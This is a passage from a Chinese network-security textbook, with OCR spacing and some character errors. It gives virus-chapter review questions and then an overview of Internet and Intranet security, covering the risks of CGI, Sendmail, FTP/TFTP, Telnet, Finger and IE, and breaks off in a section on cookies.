本 章 详细 介绍 了 病毒 开发 者 复制 .执行 病毒 所 运用 的 许多 概念 和 方法 。 和 希望 能 对 读者 
有 所 帮助 。 


基础 练习 题 


.什么 是 病毒 ? 它 是 如 何 工 作 的 ? 说 出 不 同 防范 病毒 方法 的 异同 点 。 
. 简 述 计算 机 病毒 的 特征 及 危害 性 。 

. 简 述 病毒 的 分 类 以 及 各 自 的 特点 。 

. 反 病 毒 软件 常用 何 种 技术 来 查找 病毒 ? 

. 什么 计算 机 网 络 病毒 , 它 有 何 特点 ?其 传播 途径 是 什么 ? 

.怎样 防止 计算 机 网 络 病毒 ? 


一 


1 


7. 简 述 计算 机 网 络 病毒 的 发 展 。 
8. 试 说 明 CIH 病毒 的 工作 原理 。 
9. 何谓 计算 机 “ 宏 ” 病 毒 ? 请 说 明 “Word 宏 病 毒 ”* 的 机 制 和 清除 办 法 。 


实践 题 
斌 说明 手 动 和 用 杀毒 软件 (如 KV2000、 瑞 星 等 ) 清 除 宏 病 毒 的 步骤 。 
讨论 与 思考 题 * 


“ 尼 姆 达 ” 病 毒 的 特征 是 什么 ? 它 有 何 危 害 ? 是 怎样 传播 的 ?怎样 预防 及 清除 它 ? 
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第 8 章 ”Internet 的 安全 性 


Internet 是 全 世界 最 大 、 履 盖 面 最 广 的 计算 机 互联 网 络 。 它 不 仅仅 把 众多 计算 机 连接 
起 来 ,而 更 重要 的 是 Internet 中 含有 极其 丰富 的 信息 资源 。 因 此 ,人 们 常 称 Internet 是 现代 
的 信息 超级 市 场 ,是 信息 的 海洋 ,也 是 全 球 信 息 基 础 设施 即 信息 高 速 公 路 的 雏形 。 

然而 Internet 本 身 是 没有 边界 的 、 全 球 的 互联 网 ,不 属于 任何 一 个 组 织 和 任何 一 个 国 
家 ;在 Internet 上 既 没有 法 令 也 没有 法 规 , 人 们 的 行为 几乎 不 受制 约 。 

如 今 Internet 上 的 安全 问题 成 了 计算 机 和 通信 界 关 注 的 焦点 ,从 安全 问题 角度 考虑 ,给 
认为 Internet 已 经 完全 胜任 商务 活动 的 人 们 泼 了 一 倪 冷 水 ,也 延缓 或 阻碍 了 Internet 作为 
国家 信息 基础 设施 或 全 球 信息 基础 设施 成 为 大 众 媒体 的 发 展 进程 。 一 些 调查 研究 表明 , 许 
多 个 人 和 公司 之 所 以 对 加 入 Internet 持 观 望 态度 ,其 主要 原因 就 是 出 于 安全 的 考虑 。 与 此 
同时 ,也 有 分 析 家 警告 商家 不 加 入 Internet 会 有 什么 危害 。 尽 管 众说 纷 经 ,但 大 家 一 致 认为 
Internet 需要 更 多 更 好 的 安全 机 制 。 

在 享受 Internet 带 来 许多 好 处 的 同时 ,了 解 Internet 的 工作 机 制 、 安 全 漏洞 ,加 强 自身 
的 安全 意识 和 采取 一 定 的 防范 措施 ,是 非常 必要 的 。 本 章 将 学 习 有 关 Internet 应 用 中 的 安 
全 性 问题 ,主要 内 容 有 : 

Internet/Intranet 的 安全 概述 ; 
网 页 中 的 新 技术 与 IE 的 安全 性 ; 
电子 邮件 的 安全 性 ; 

Outlook Express 的 安全 性 ; 

JIS 服务 器 的 安全 性 ; 

电子 商务 的 安全 性 。 


8.1 Internet/Intranet 的 安全 概述 


8.1.1 Internet 的 脆弱 性 


Internet 是 使 用 公共 语言 进行 通信 的 全 球 计算 机 网 络 。 它 类 似 于 国际 电话 系统 , 即 无 
人 拥有 或 控制 整个 系统 ,但 是 以 大 型 网 络 的 工作 方式 连接 。 

Internet 本 身 是 没有 边界 的 ,全 球 的 互联 网 ,不 属于 任何 一 个 组 织 和 任何 一 个 国家 ;在 
Internet 上 既 没 有 法 令 也 没有 法 规 , 人 们 的 行为 几乎 不 受制 约 。 由 于 没有 国际 互联 网 上 通 
行 的 国际 法 规 ,所 以 对 犯罪 没有 处 理 的 依据 。Internet 有 很 多 安全 隐患 ,主要 表现 在 以 下 几 
个 六 面 。 

(1) Internet 是 跨国 界 的 ,黑客 乐于 进行 跨国 攻击 。 

(2) 通过 IP 地 址 识别 网 络 上 的 用 户 是 完全 不 可 靠 的 。 众 所 周知 ,大 多 数 国家 都 实行 身 
份 证 或 户籍 管理 ,这 种 制度 就 是 把 人 及 其 身份 对 应 起 来 ,通过 身份 来 控制 和 管理 个 人 。 但 是 
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在 Internet 上 ,IP 地 址 只 是 一 个 数字 的 标志 ,根本 不 能 代表 实际 的 身份 。 通 过 IP 地 址 来 识 
别 和 管理 存在 严重 的 安全 漏洞 。 

(3) Internet 本 身 没 有 中 央 管 理 机 制 ,没有 法 令 和 法 规 。 

(4) Internet 从 技术 上 来 讲 是 开放 的 、 标 准 的 ,是 为 君子 设计 而 不 防 小 人 的 。 

(5) Internet 没有 审计 和 记录 的 功能 ,也 就 是 说 对 发 生 的 事情 没有 记录 ,这 也 是 一 个 安 
全 隐患 。 


8.1.2 Internet 提供 的 服务 中 的 安全 问题 


如 前 面 章 节 所 述 的 核心 协议 是 TCP/IP 协议 ,通过 TCP/IP 协议 提供 的 服务 有 很 多 脆 
弱 性 。 基 于 TCP/IP 协议 的 服务 很 多 ,人 们 比较 熟悉 的 有 WWW 服务 .FTP 服务 和 电子 邮 
件 服 务 等 ,不 太 熟 悉 的 有 TFTP 服务 、NFS 服务 和 Finger 服务 等 。 这 些 服务 都 存在 不 同 程 
度 上 的 安全 缺陷 。 当 用 户 用 防火 墙 保 护 站 点 时 ,就 需要 考虑 该 提供 哪些 服务 ,要 禁止 哪些 服 
务 ,在 这 里 只 对 一 些 常 用 服务 做 简单 介绍 。 

1. WWW 服务 的 安全 

WWW 服务 又 称 Web 服务 , 它 相 对 于 其 他 服务 出 现 比 较 晚 ,是 建立 在 HTTP( 超 文本 
传输 协议 ) 上 的 全 球 信息 库 , 是 Internet 上 HTTP 服务 器 的 集合 。 它 是 由 瑞士 日 内 瓦 欧洲 
粒子 物理 实验 室 发 明 的 ,并 在 短 时 间 内 得 到 迅猛 发 展 ,是 人 们 最 常用 的 Internet 服务 。 目 前 
Web 站 点 遍及 世界 各 地 。 万 维 网 用 超 文 本 技术 把 Web 站 点 上 的 文件 链接 在 一 起 ,文件 可 
以 包括 文本 、 图 形 、 声 音 、 视 频 以 及 其 他 形式 。 用 户 可 以 自由 地 通过 超 文本 导航 从 一 个 文件 
进入 另 一 个 文件 ,方便 搜索 信息 。 不 管 文件 在 哪里 ,只 要 在 HTTP 协议 链接 的 字 或 图 上 用 
鼠标 单 击 一 下 就 行 了 。 

搜索 Web 文件 的 工具 是 浏览 器 ,常用 的 浏览 器 有 Netscape Navigator 和 Microsoft 
Internet Explorer。HTTP 只 是 浏览 器 中 使 用 的 一 种 协议 ,浏览 器 还 可 以 使 用 FTP， 
Gopher, WAIS 等 协议 ,也 可 以 包括 NNTP 和 SMTP 等 协议 。 因 此 当 用 户 在 使 用 浏览 器 
时 ,实际 上 他 是 通过 HTTP 申请 服务 ,也 可 能 去 申请 FTP,Gopher, WAIS,NNTP 和 SMTP 
等 服务 器 。 这 些 服务 器 都 存在 漏洞 ,是 不 安全 的 。 

随 着 Netscape 公司 推出 安全 套 接 子 层 SSL, WWW 服务 器 和 浏览 器 的 安全 性 得 到 了 大 
大 的 提高 ,现在 人 们 已 经 把 这 种 技术 应 用 于 电子 商务 (E-business)。 现 在 ,人 们 可 以 在 
Internet 上 买卖 股票 和 使 用 信用 卡 购 物 。WWW 服务 存在 什么 安全 问题 呢 ? 安全 套 接 子 层 
SSL 使 WWW 服务 的 安全 性 提高 了 很 多 ,但 它 主要 解决 的 是 数据 包 被 窃听 和 劫持 的 问题 ， 
除 此 之 外 WWW 服务 还 有 其 他 问题 ,如 WWW 服务 使 用 的 CGI 程序 、 服 务 器 端 附件 (server 
side include,SSI) 和 Java Applet 小 程序 等 。 

浏览 器 由 于 灵活 而 备 受 用 户 的 欢迎 ,而 灵活 性 也 会 导致 控制 困难 。 浏 览 器 比 FTP 服务 
器 更 容易 转换 和 执行 ,因此 一 个 恶意 的 侵入 也 就 更 容易 得 到 转换 和 执行 。 浏 览 器 一 般 只 能 
理解 基于 如 HTML 格式 JPEG 和 GIF 图形 格式 等 数据 格式 。 对 其 他 数据 格式 ,浏览 器 是 
通过 外 部 程序 来 观察 的 。 一 定 要 注意 哪些 外 部 程序 是 默认 的 ,不 能 允许 那些 危险 的 外 部 程 
序 进 入 站 点 。 用 户 不 要 随便 地 增加 外 部 程序 ,不 要 轻信 陌生 人 的 建议 而 去 随便 修改 外 部 程 
序 的 配置 。 

大 部 分 的 Web 站 点 注意 的 只 是 站 点 内 部 的 安全 。 但 是 通过 WWW 会 引入 外 部 文件 和 
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程序 ,通过 超 文本 会 进入 其 他 站 点 的 文本 。 它 们 对 这 些 文本 和 程序 的 安全 性 一 般 考 得 很 少 ， 
因此 会 带 来 很 多 安全 问题 。 

最 初 WWW 服务 只 提供 静态 的 HTML 页 面 ,这 种 页 面 显得 很 呆板 ,于 是 人 们 引入 了 
CGI 程序 ,CGI 程序 让 人 们 的 主页 活 起 来 。 通 用 网 关 接 口 (common gateway interface， 
CGI 诞生 于 NCSA,Mosaic WWW 浏览 器 和 NCSA http WWW 服务 器 也 来 源 于 此 。 其 目 
标 是 提供 一 种 灵活 方便 的 机 制 来 扩展 服务 器 的 功能 ,从 而 超出 建立 在 HTTP 服务 器 之 上 的 
“get file and display( 得 到 文件 并 显示 )” 的 模型 。 它 已 经 很 好 地 达到 了 这 个 目标 。 尽 管 从 
技术 上 说 CGI 指 的 是 接口 ,在 一 般 术 语 中 CGI 经 常用 于 指 CGI 程序 设计 本 身 。CGI 的 思 
想 是 WWW 资源 不 一 定 只 为 静态 的 文本 页 面 或 者 任何 其 他 类 型 的 不 可 改变 的 文件 。 它 可 
以 是 在 服务 器 及 其 上 完成 任务 和 计算 的 一 个 程序 ,并且 输出 一 个 动态 文档 ,这 个 动态 文档 可 
能 基于 通过 HTML 表单 的 请 求 而 提供 的 数据 。 在 编写 程序 之 前 要 仔细 研究 完整 的 CGI 规 
范 。 网 上 有 专门 的 介绍 ,例如 http://www. wzsky. net/html/Program/cgi/1853. html。 要 
想 有 效 地 使 用 CGI, 必 须要 了 解 HTML 表单 , 它 通常 用 于 向 CGI 传递 数据 。 这 些 都 记录 于 
HTML 2.0 规范 RFC 1866: http://www. rfc-editor. org/rfc/rfc1866. txt。 

当 用 户 进 入 Hotmail 时 ,会 发 现下 面 的 用 户 输入 信息 ,一般 用 户 是 通过 表格 把 输入 信息 
传 给 CGI 程序 的 ,然后 CGI 程序 可 以 根据 用 户 的 要 求 进行 一 些 处 理 , 一 般 情况 下 会 生成 一 
个 HTML 文件 ,并 传 回 给 用 户 。 很 多 CGI 程序 都 存在 安全 漏洞 ,很 容易 被 黑客 利用 做 一 些 
非法 的 事情 ,如 把 /etc/passwd 文件 传送 给 黑客 .删除 服务 器 上 的 文件 等 。 还 有 ,很 多 人 在 
编写 CGI 程序 时 ,可 能 对 CGI 程序 包 中 的 安全 漏洞 并 不 了 解 ,而 且 大 多 数 情况 下 不 会 重新 
编写 程序 的 所 有 部 分 ,只 是 对 其 加 以 适当 的 修改 ,这 样 很 多 CGI 程序 就 不 可 避免 地 具有 相 
同 的 安全 漏洞 ,所 以 用 户 若 要 编写 一 个 安全 的 CGI 程序 ,就 应 先 去 了 解 这 些 软件 包 中 的 安 
全 漏洞 ,这些 可 以 从 网 上 查 到 。 

CGI 是 一 种 独立 于 语言 的 接口 ,使 得 WWW 几乎 可 以 使 用 任何 语言 产生 动态 文档 。 
CGI 可 以 用 任何 可 以 访问 环境 变量 和 产生 输出 的 语言 编写 ,而 且 已 经 用 了 很 多 语言 编写 它 ， 
然而 最 流行 的 可 能 要 算 Perl 了 ,这 主要 是 因为 它 具 有 较 强 的 字符 串 处 理 能 力 。 但 它 也 很 不 
安全 ,其 中 有 很 多 UNIX 的 特殊 字符 可 用 来 执行 UNIX 的 系统 命令 ,一般 入 侵 者 就 是 利用 
这 些 特殊 字符 实施 攻击 的 。 

强大 而 灵活 的 接口 通常 的 缺陷 就 是 系统 安全 ,CGI 也 不 例外 。 程 序 员 经 常会 匆忙 地 编 
写 出 CGI 程序 ,就 像 其 他 简单 程序 一 样 ,而 没有 考虑 到 每 个 CGI 程序 都 是 一 个 Internet 服 
务 器 ,都 会 带 来 同样 的 危险 。 

CGI 脚本 经 常 被 编写 成 等 待 一 定格 式 的 数据 ,但 是 实质 上 不 限制 长 度 的 任意 数据 都 可 
以 发 送 给 程序 。 这 意味 着 CGI 必须 被 编写 得 健壮 一 些 , 当 收 到 一 些 恶 意 的 或 者 不 是 想 要 的 
数据 时 , 它 要 能 够 适当 地 中 止 。 

通常 使 用 的 Internet 服务 器 ,如 Sendmail 和 Finger 在 被 编写 时 都 充分 意识 到 了 这 些 危 
险 性 。 这 些 程序 的 源 代码 已 经 被 各 种 各 样 的 人 研究 多 年 ,以 便 找 出 问题 。 即 使 这 样 ,安全 性 
问题 仍然 存在 。 鉴 于 此 ,如 果 人 允许 用 户 创 建 CGI 程序 ,应 仔细 评估 其 中 的 危险 性 并 采取 行 
动 减 小 这 种 危险 性 。 

2. 电子 邮件 服务 的 安全 

电子 邮件 服务 给 人 们 提供 了 一 种 便宜 方便 和 快捷 的 服务 ,如今 的 网 上 用 户 们 几乎 人 人 
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都 有 一 个 E-mail 地址,E-mail 地 址 也 已 出 现在 人 们 的 名 片上 了 。 现 在 ,UNIX 环境 下 的 电 
子 邮 件 服务 器 一 般 是 Sendmail, 它 是 一 个 复杂 且 功 能 强大 的 应 用 软件 , 正 因为 如 此 它 的 安 
全 漏洞 就 更 多 。 程 序 越 庞 大 、 越 复杂 则 安全 漏洞 出 现 的 可 能 性 越 大 ,这 是 一 个 公认 的 原理 。 
Sendmail 在 UNIX 环境 下 以 root 账户 运行 ,所 以 如 果 该 程序 被 黑客 利用 ,用 户 的 主机 的 损 
失 将 会 是 十 分 巨大 的 。 因 特 网 蜂 虫 病毒 曾经 震惊 世界 , 它 使 大 批 的 服务 器 陷于 瘫痪 之 中 ,这 
种 病毒 就 是 利用 了 Sendmail 的 安全 缺陷 。 如 果 要 使 这 些 功 能 以 更 安全 的 方式 实现 ,需要 对 
Sendmail 进行 重新 设计 和 重新 实现 ,但 人 们 又 会 担心 新 的 版 本 会 出 现 更 多 的 人 们 不 知道 的 
安全 漏洞 。Sendmail 的 问题 被 人 们 修 修补 补 ,但 总 是 有 新 的 问题 出 现 。 所 以 ,虽然 不 断 推 
出 “最 新 Sendmail 修订 版 ”, 但 是 Sendmail 的 安全 性 还 是 没有 保证 。 

除 此 之 外 ,电子 邮件 附带 的 Word 文件 和 其 他 文件 有 可 能 会 带 有 病毒 。 电 子 邮 件 炸 弹 
也 是 一 个 令 人 头疼 的 问题 ,试想 ,一 下 子 收 到 了 一 大 堆 垃 圾 邮件 ,直到 邮件 箱 被 塞 满 ,用 户 会 
有 什么 感受 。 

3. FTP 服务 和 TFTP 服务 的 安全 

这 两 个 服务 都 是 适用 于 传输 文件 的 ,但 用 的 场合 不 同 , 安 全 程度 也 不 同 。 

TFTP 服务 用 于 局 域 网 ,在 无 盘 工 作 站 启动 时 用 于 传输 系统 文件 ,因为 它 不 带 有 任何 安 
全 认证 而 且 安 全 性 极 差 ,所 以 常 被 人 用 来 窃取 密码 文件 /etc/passwd。EFTP 服务 对 于 局 域 
网 和 广域网 都 可 以 用 来 下 载 任何 类 型 的 文件 。 

FTP 服务 由 TCP/IP 的 文件 传输 协议 支持 。 只 要 连 入 Internet 的 两 台 计 算 机 都 支持 
TCP/IP 协议 ,运行 FTP 软件 ,用 户 就 像 使 用 自己 计算 机 上 的 资源 管理 器 一 样 ,将 远程 计算 
机 上 的 文件 复制 到 自己 的 硬盘 。 大 多 数 提供 FTP 服务 的 站 点 ,人 允许 用 户 以 anonymous 作 
为 用 户 名 ,匿名 用 户 登 录 访 问 一 般 不 需要 密码 或 者 系统 默认 使 用 “guest”、E-mail 地 址 等 作 
为 密码 。 有 的 站 点 不 需要 输入 账号 名 和 口令 ,一 旦 登录 成 功 ,用 户 就 可 以 下 载 文件 ;如 果 服 
务 器 安全 系统 允许 ,用 户 也 可 以 上 传 文件 。 这 种 FTP 服务 称 为 匿名 服务 。 网 上 有 许多 匿名 
FTP 服务 站 点 ,其 上 有 许多 免费 软件 .图片 和 游戏 ,匿名 FTP 是 人 们 常 使 用 的 一 种 服务 方 
式 。FTP 服务 的 安全 性 要 好 一 些 , 起 码 它 需要 用 户 输入 用 户 名 和 口令 ,当然 ,匿名 FTP 服 
务 就 像 匿 名 WWW 服务 是 不 需要 口令 的 ,但 用 户 权 力 会 受到 严格 的 限制 。 匿 名 FTP 
(Anonymous FTP) 是 ISP 的 一 项 重要 服务 , 它 允 许 用 户 通 过 FTP 访问 FTP 服务 器 上 的 文 
件 , 这 使 不 正确 的 配置 将 严重 威胁 系统 安全 。 因 此 ,需要 保证 使 用 它 的 人 不 去 申请 系统 上 其 
他 区 域 或 文件 ,也 不 能 对 系统 做 任意 的 修改 。 在 匿名 FTP 区域 中 一 个 可 写 的 目录 常常 是 不 
安全 的 。 文 件 传输 和 电子 邮件 一 样 会 给 网 上 的 站 点 带 来 危险 的 数据 和 程序 。 首 先 文件 传输 
可 能 会 带 来 “特洛伊 ”木马 ,这 会 给 站 点 以 毁灭 性 的 打击 。 其 次 是 会 给 站 点 带 入 无 聊 的 游戏 、 
盗版 软件 以 及 色情 图 片 等 ,也 会 带 来 时 间 和 磁盘 空间 的 烦恼 ,还 可 能 会 造成 “拒绝 服务 ” 攻 
击 。 匿 名 FTP 服务 的 安全 很 大 程度 上 决定 于 一 个 系统 管理 员 的 水 平 ,一 个 低 水 平 的 系统 管 
理 员 很 可 能 会 错误 配置 权限 ,从 而 被 黑客 利用 破坏 整个 系统 。 

4. 远程 登录 (Telnet) 的 安全 

远程 登录 是 提供 远程 终端 申请 的 程序 。 这 是 一 种 十 分 有 用 又 十 分 节约 的 远程 申请 机 
制 。Telnet 是 因特网 上 常用 的 登录 程序 。 它 真实 地 模仿 一 个 终端 ,但 不 能 是 图 形 工作 站 。 
不 用 做 特殊 的 安排 就 可 以 为 因特网 上 任何 站 点 上 的 用 户 提 供 远 程 申请 ,但 它 只 能 提供 基于 
字符 (文本 ) 的 应 用 。Telnet 不 仅 允 许 用 户 登 录 到 远 端 主机 上 ,还 允许 用 户 执 行 那 台 主机 的 
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命令 。 这 样 北京 的 用 户 可 以 对 上 海 的 机 器 进行 终端 仿真 ,并 运行 上 海 的 机 器 上 的 程序 ,就 像 
用 户 身 在 上 海 一 样 。 

Telnet 看 来 像 是 十 分 安全 的 服务 ,但 它 要 用 户 认 证 。Telnet 送出 的 所 有 信息 是 不 加 密 
的 ,很 容易 被 黑客 攻击 。 现 在 Telnet 被 认为 是 从 远程 系统 申请 你 的 站 点 时 最 危险 的 服务 之 
一 。 要 使 Telnet 安全 ,必须 选择 安全 的 认证 方案 ,防止 站 点 被 窃听 或 侵袭 。 

5. 用 户 新 闻 (usenet news) 

用 户 新 闻 或 新 闻 组 是 因特网 上 的 公告 牌 ,提供 了 多 对 多 的 通信 。 最 大 众 化 的 新 闻 组 会 
有 几 十 万 人 参加 。 像 电子 邮件 一 样 ,用 户 新 闻 具 有 危险 性 。 并 且 大 多 数 站 点 的 新 闻 信 息 更 
新 速度 很 快 ,很 容易 造成 溢出 。 为 了 安全 起 见 ,一 定 要 配置 好 新 闻 服务 。 

网 络 新 闻 传 输 协 议 (netware news transfer protocol , NNTP) 是 因特网 上 转换 新 闻 的 
协议 。 很 多 站 点 建立 了 预定 的 本 地 新 闻 组 ,以 便于 本 地 用 户 间 进行 讨论 。 这 些 新 闻 组 往往 
包含 机 密 的 有 价值 的 或 者 是 敏感 的 信息 。 有 些 人 可 以 通过 NNTP 服务 器 私下 申请 这 些 预 
定 新 闻 组 ,结果 造成 泄密 。 如 果 要 建立 预定 新 闻 组 ,一 定 要 小 心地 配置 NNTP 服务 器 ,控制 
对 这 些 新 闻 组 的 申请 。 

6. 其 他 网 络 信息 服务 

(1) Finger 和 Whois 是 可 以 提供 相关 人 员 信 息 的 两 种 查询 服务 。Finger 可 以 查找 在 网 
络 上 拥有 账户 的 用 户 信息 ,而 不 管用 户 目 前 是 否 登 录 在 网 上 。 这 些 信息 包括 用 户 的 真实 姓 
名 .账号 .电话 号 码 . 公 司 地 址 .最 近 何 时 何 地 登录 注册 的 信息 以 及 用 户 的 其 他 材料 。 在 
TCP/IP 协议 中 只 需 一 个 IP 地 址 便 可 以 提供 许多 关于 主机 的 信息 ,例如 谁 在 登录 ,登录 的 
时 间 、 地 点 等 。 对 一 个 训练 有 素 的 黑客 来 说 ,Finger 无 疑 是 其 进入 目标 主机 的 一 把 利器 。 
因为 知道 了 用 户 名 就 等 于 成 功 了 一 半 。 鉴 于 此 ,如 果 你 的 系统 不 需要 这 种 服务 ,就 请 在 你 的 
超级 守护 进程 的 配置 文件 (inetd. conf) 中 将 它 注释 掉 。Whois 和 Finger 相似 ,提供 的 是 公 
开 有 效 的 信息 。 这 些 信 息 是 主机 、 网 络 、 域 和 它们 的 管理 者 的 资料 。Whois 客户 默认 的 询问 
主机 是 rs. interinic. net, 可 以 在 Internet”’s Network Information Center(InterNIC) 那 里 得 
到 关于 Internet 上 关于 主机 、 网 络 . 域 和 管理 者 的 信息 。 

(2) Gopher. 广 域 信息 服务 WAIS-Wide Area Information Service 和 文档 查询 服务 
Archie 都 是 Internet 上 的 查询 服务 工具 。Gopher 是 一 个 面向 菜单 基于 文本 的 查询 工具 。 
在 Gopher 服务 器 上 信息 是 以 一 系列 分 级 菜单 组 成 的 ,从 菜单 里 ,用 户 可 以 选择 条 目 ,每 一 
个 条 目 可 以 是 一 个 文件 ,一 种 格式 或 一 个 分 条 目 。Gopher 服务 器 和 客户 都 使 用 链接 的 数据 
方案 ,这 和 WWW ,Web 服务 一 样 会 带 来 安全 问题 。Archie 是 基于 文件 名 的 自动 搜索 服务 ， 
WAIS 是 基于 文件 内 容 ( 关 键 字 ) 的 自动 搜索 服务 。WAIS 和 Archie 比 Web 和 Gopher 漏 
洞 要 小 一 点 ,因为 它们 不 返回 任意 形式 的 数据 。 但 当 提 供 这 些 服务 时 可 能 会 引起 其 他 漏洞 。 
例如 ,允许 用 户 直 接 申请 Archie, 就 会 允许 问 入 者 申请 NFS 和 NIS/YP 服务 器 。 

(3) 除了 上 面 提 到 的 Finger 和 TFTP 服务 ,还 有 X Windows 服务 和 基于 RPC 的 NFS 
服务 和 BSD UNIX 的 以 “r” 开 头 的 服务 ,如 rlogin,rsh 和 rexec。 这 些 服务 在 设计 上 安全 性 
很 差 ,一 般 只 在 内 部 网 使 用 。 如 果 有 防火 墙 ,应 把 这 些 服务 限制 在 内 网 中 。 


8.1.3 Intranet 的 安全 性 


Intranet 又 称 企 业内 部 网 ,由 于 它 在 局 域 网 内 部 采用 了 Internet 技术 而 得 名 “Intranet”。 因 
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此 ,Intranet 指 的 是 私人 .公司 和 企业 内 部 网 络 上 为 用 户 提供 信息 的 任何 使 用 TCP/IP 协议 
的 网 络 。 这 些 网 络 中 的 一 部 分 ,虽然 没有 连接 到 Internet, 但 是 使 用 了 Internet 通信 标准 和 
工具 。 例 如 ,公司 中 安装 的 Web 服务 器 ,可 在 内 部 员工 之 间 发 布 公司 业务 通信 、 销 售 图 表 及 
其 他 公共 文档 。 换 句 话说 ,Intranet 就 是 采用 了 Internet 技术 和 标准 的 私有 网 络 。 

Intranet 和 Internet 相 比 较 , 存 在 的 主要 问题 同样 是 安全 性 。Intranet 本 身 是 一 个 相对 
独立 的 网 络 空间 ,相对 独立 是 指 它 有 自己 的 边界 。 另 一 个 方面 ,Intranet 具有 中 央 管理 ,这 
一 点 很 好 理解 。 一 个 Intranet 有 自己 的 网 络 管理 ,属于 某 一 个 机 构 或 某 一 个 单位 ,那么 这 个 
机 构 和 这 个 单位 要 对 这 个 网 络 实施 管理 ,而 且 管 理 的 核心 内 容 就 是 安全 。Intranet 本 身 只 
采用 IP 识别 是 不 够 的 ,因为 IP 地 址 易 被 窃 用 。Internet 和 Intranet 相 比 ,最 主要 的 一 点 差 
别 在 于 : Internet 没有 管理 ,而 Intranet 有 管理 。 从 技术 角度 来 看 ,Intranet 需要 一 套 身份 
认证 和 授权 管理 系统 。 

Intranet 的 安全 需求 包括 以 下 几 点 : 

(1) 解决 网 络 的 边界 安全 ,由 于 它 本 身 是 和 国际 互联 网 相连 的 。 

(2) 要 保证 网 络 内 部 的 安全 。 

(3) 不 仅 要 实现 系统 安全 ,还 要 实现 数据 安全 。 

(4) 建立 全 网 通行 的 身份 识别 系统 ,实现 用 户 的 统一 管理 。 

(5) 在 身份 识别 和 资源 统一 管理 的 基础 之 上 ,实现 统一 的 授权 管理 。 所 谓 统一 授权 管 
理 就 是 在 用 户 和 资源 之 间 进 行 严格 的 访问 控制 。 

(6) 信息 传输 时 实现 数据 的 完整 性 和 保密 性 。 

(7) 建立 一 整套 审计 、 记 录 的 机 制 ,也 就 是 说 网 上 发 生 的 事情 要 记录 下 来 ,再 根据 记录 
进行 事后 的 处 理 。 

(8) 把 技术 手段 和 行政 手段 融 为 一 体 , 形 成 全 局 的 安全 管理 。 


8.2 网 页 中 的 新 技术 与 IE 的 安全 性 


Microsoft Internet Explorer 是 一 种 WWW 浏览 器 。 就 像 Microsoft Word 那样 是 创建 
和 格式 化 文档 的 工具 或 者 像 Microsoft Excel 那样 是 创建 电子 表格 和 执行 计算 的 工具 ， 
Internet Explorer 是 导航 和 访问 或 浏览 Web 中 信息 的 工具 。 它 的 功能 比较 强大 ,其 安全 性 
随 着 IE 版 本 的 提高 ,也 逐步 完善 。 

当前 通过 浏览 器 读 取 信息 的 网 页 中 使 用 了 许多 如 Cookie,Java, ActiveX 等 网 络 新 技 
术 , 给 用 户 带 来 了 五 彩 绽 纷 操作 快捷 的 界面 ,同时 也 给 黑客 提供 了 攻击 的 新 手段 。 

在 Internet 中 , 计算 机 网 络 安全 级 别 的 高 低 是 以 用 户 通过 浏览 器 发 送 数 据 和 浏览 器 访 
问 本 地 客户 资源 的 能 力 高 低 来 区 分 的 。 安 全 和 灵活 是 一 对 矛盾 的 东西 。 高 的 安全 级 别 必然 
带 来 灵活 性 的 下 降 和 功能 的 限制 。Web 技术 的 发 展 也 是 安全 和 功能 强大 的 平衡 。 纯 粹 文 
字 的 HTML 或 许 是 安全 的 (如 果 把 网 络 内 容 给 用 户 带 来 的 不 良 影响 ,比如 上 暴力、 色情 等 不 
看 作 安 全 问题 ) ,但 显然 其 功能 受到 很 大 限制 。 人 允许 在 网 页 上 下 载 和 使 用 ActiveX 显然 是 不 
安全 的 ,但 功能 会 很 强大 。 

安全 是 和 对 象 相 关 的 。 一 般 可 以 认为 ,同一 网 络 小 组 中 十 分 可 信 的 站 点 ,例如 ,办 公 室 
的 软件 服务 器 的 数据 和 程序 是 比较 安全 的 ,同时 公司 的 站 点 是 中 等 水 平安 全 ,而 Internet 上 
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的 大 多 数 访问 被 认为 是 相当 不 安全 ,因为 黑客 们 的 访问 使 Internet 变 得 极 不 安全 。 

基于 对 访问 对 象 和 访问 方法 的 划分 ,高 版 本 的 IE( 如 IE 7.0) 定 义 了 4 个 通过 浏览 器 访 
问 Internet 的 安全 级 别 一 一 高 .中 高 .中 、 低 和 4 类 访问 对 象 : Internet、 本 地 Internet( 即 
Intranet) \ 受 信任 的 站 点 和 受 限制 的 站 点 。 也 就 是 说 I 下 支持 Cookie,Java, ActiveX 等 网 络 
新 技术 ,同时 也 可 以 通过 安全 配置 来 限制 用 户 使 用 ActiveX 控件 、 如 何 使 用 Cookie、 如 何 使 
用 脚本 (Script) 、 如 何 下 载 数据 和 程序 、 如 何 验 证 用 户 登 录 以 及 对 于 标准 HTML 网 页 中 一 
些 可 能 带 来 问题 的 特性 的 限制 ,如 Frame( 框 架 网 页 ) 的 使 用 、 提 交 表 单 的 方式 等 。 

由 于 I 下 浏览 器 是 随 着 Windows 系统 免费 发 送 的 ,已 成 为 世界 上 使 用 人 数 最 多 的 浏览 
器 。 同 时 Microsoft 公司 的 产品 一 般 安全 性 较 差 ,IE 浏览 器 也 不 例外 ,下 面 介绍 有 关 
Cookie,Java,ActiveX 等 技术 的 安全 问题 和 正 浏览 器 的 漏洞 带 来 的 安全 问题 ,以 及 针对 这 
些 问 题 应 采取 的 防范 措施 。 


8.2.1 浏览 器 中 Cookie 的 安全 


1. Cookie 简介 

Cookie 是 由 Netscape 开发 并 将 其 作为 持续 保存 状态 信息 和 其 他 信息 的 一 种 方式 ,目前 
绝 大 多 数 的 浏览 器 支持 Cookie 协议 。 如 果 能 够 链 入 Web 网 页 或 其 他 网 络 ,就 可 以 使 用 
Cookie 来 传递 某 些 具有 特定 功能 的 小 信息 块 。Cookie 是 一 个 储存 于 浏览 器 目录 中 的 文本 
文件 , 约 由 255 个 字符 组 成 , 仅 占 4KB 硬盘 空间 。 当 用 户 正在 浏览 某 站 点 时 , 它 储存 于 用 户 
机 的 RAM 中 ;退出 浏览 器 后 , 它 储存 于 用 户 的 硬盘 中 。 储 存在 Cookie 中 的 大 部 分 信息 是 
普通 的 信息 。 例 如 , 当 浏 览 一 个 站 点 时 ,此 文件 记录 了 每 一 次 的 按键 信息 和 被 访 站 点 的 
URL 等 。 但 是 许多 Web 站 点 使 用 Cookie 来 储存 针对 私人 的 数据 ,例如 ,注册 口令 .用 户 
名 信用卡 编 号 等 。MSN( 微 软 提 供 的 网 络 在 线 服务 )、Netscape 都 完全 采用 了 使 用 Cookie 
储存 信息 的 个 性 化 处 理 。 假 如 想 查 看 储存 在 Cookie 文件 中 的 信息 ,可 以 从 浏览 器 目录 中 查 
